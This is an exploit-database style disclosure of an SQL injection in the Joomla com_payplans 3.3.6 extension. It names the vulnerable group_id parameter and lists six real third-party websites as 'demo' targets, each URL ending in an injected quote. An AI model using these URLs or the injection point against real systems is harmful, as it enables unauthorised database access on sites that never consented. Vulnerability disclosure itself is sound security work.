Joomla Pay Plans 3.3.6 SQL Injection

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# Exploit Title : Joomla com_payplans - SQL Injection  
# Exploit Author : Persian Hack Team  
# Vendor Homepage : http://extensions.joomla.org/extension/payplans  
# Category: [ Webapps ]  
# Tested on: [ Win ]  
# Version: 3.3.6  
# Date: 2016/06/08  
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#  
# PoC:  
# group_id Parameter Vulnerable To SQL  
# Demo :  
# http://www.cittanuvola.com/index.php?option=com_payplans&group_id=4%27  
# http://www.gifa.org.za/index.php?option=com_payplans&view=plan&task=subscribe&group_id=1%27  
# http://www.sigef.net/index.php?option=com_payplans&view=plan&task=subscribe&group_id=1%27  
# http://australianteachers.com.au/index.php?option=com_payplans&group_id=1%27  
# http://www.centralvalleysom.org/index.php?option=com_payplans&view=plan&task=subscribe&group_id=6%27  
# http://powermail4joomla.com/index.php?option=com_payplans&group_id=5%27  
# Youtube : https://www.youtube.com/watch?v=Y5mpM0IBlUk  
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# Discovered by : Mojtaba MobhaM   
# Greetz : Muhmmad Emad & T3NZOG4N & FireKernel & Milad Hacking & JOK3R And All Persian Hack Team Members  
# Homepage : persian-team.ir  
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